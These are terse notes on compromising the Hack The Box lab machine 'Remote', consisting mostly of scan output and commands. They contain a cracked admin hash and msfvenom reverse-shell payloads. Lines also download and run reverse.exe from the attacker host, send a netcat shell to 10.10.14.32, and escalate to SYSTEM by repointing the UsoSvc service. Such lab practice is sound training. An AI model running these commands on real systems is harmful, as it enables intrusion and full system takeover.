MOUNT READ SDF FILE GET CREDS

UMBRACO EXPLOIT MODIFY POC GET USER SHELL

MSFVENOM REVERSE.EXE

BIND TO USOSVC GET SYSTEM

http://remote.htb/umbraco/#/login

PORT STATE SERVICE

5985/tcp open wsman

47001/tcp open winrm

49664/tcp open unknown

49665/tcp open unknown

49666/tcp open unknown

49667/tcp open unknown

49678/tcp open unknown

49679/tcp open unknown

49680/tcp open unknown

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

|_ SYST: Windows_NT

80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-title: Home - Acme Widgets

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/tcp6 rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 2,3,4 111/udp6 rpcbind

| 100003 2,3 2049/udp nfs

| 100003 2,3 2049/udp6 nfs

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/tcp6 nfs

| 100005 1,2,3 2049/tcp mountd

| 100005 1,2,3 2049/tcp6 mountd

| 100005 1,2,3 2049/udp mountd

| 100005 1,2,3 2049/udp6 mountd

| 100021 1,2,3,4 2049/tcp nlockmgr

| 100021 1,2,3,4 2049/tcp6 nlockmgr

| 100021 1,2,3,4 2049/udp nlockmgr

| 100021 1,2,3,4 2049/udp6 nlockmgr

| 100024 1 2049/tcp status

| 100024 1 2049/tcp6 status

| 100024 1 2049/udp status

|_ 100024 1 2049/udp6 status

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

2049/tcp open mountd 1-3 (RPC #100005)

PORT STATE SERVICE VERSION

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49664/tcp open msrpc Microsoft Windows RPC

49665/tcp open msrpc Microsoft Windows RPC

49666/tcp open msrpc Microsoft Windows RPC

49667/tcp open msrpc Microsoft Windows RPC

49678/tcp open msrpc Microsoft Windows RPC

49679/tcp open msrpc Microsoft Windows RPC

49680/tcp open msrpc Microsoft Windows RPC

enum4linux -A remote.htb (DIDN'T WORK)

umbraco exploit @metasploit (DIDN'T WORK???)

searchsploit httpd 2.0

anonymous login FTP(can't put files)

2049/tcp open mountd 1-3 (RPC #100005)

showmount -e 10.10.10.180

Export list for 10.10.10.180:

/site_backups (everyone)

Login attempt succeeded for username **admin@htb.local** from IP address 192.168.195.1

root@akg:/home/akg/Desktop/hackthebox/remote/mount/App_Data# ls

cache Logs Models packages TEMP umbraco.config **Umbraco.sdf** WebConfig

admin@htb.local b8be16afba8c314ad33d812f22a04991b90e2aaa hashAlgorithm SHA1 baconandcheese

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.32 LPORT=443 -f aspx > exploit.aspx

try magicbyte GIF8;

GETTING USER

root@akg:/home/akg/Desktop/hackthebox/remote# python -m SimpleHTTPServer 80

root@akg:/home/akg/Desktop/hackthebox/remote# python3 payload.py

root@akg:/home/akg/Desktop/hackthebox/remote# nc -nlvp 4444

root@akg:/home/akg/Desktop/hackthebox/remote# python3 payload2.py

USER SHELL!!!!!!!!!!

Whoami /all

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

wmic service where started=true get name, startname (SHOW WORKING SERVICES)

c:\Windows\Temp>echo c:\windows\temp\nc.exe 10.10.14.32 8888 -e cmd >reverse.bat

c:\Windows\Temp>sc config UsoSvc binpath="c:\windows\temp\reverse.bat"

sc start UsoSvc

DIDN'T WORK!!!

root@akg:/home/akg/Desktop/hackthebox/remote# msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.32 lport=8888 -f exe --platform windows >reverse.exe

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.32/reverse.exe','C:\Windows\Temp\reverse.exe')"

c:\Windows\Temp>sc config usosvc binpath="c:\windows\temp\reverse.exe"

root@akg:/home/akg/Desktop/hackthebox/remote# nc -nlvp 8888

c:\Windows\Temp>sc start usosvc

SYSTEM!!!!!!!!!!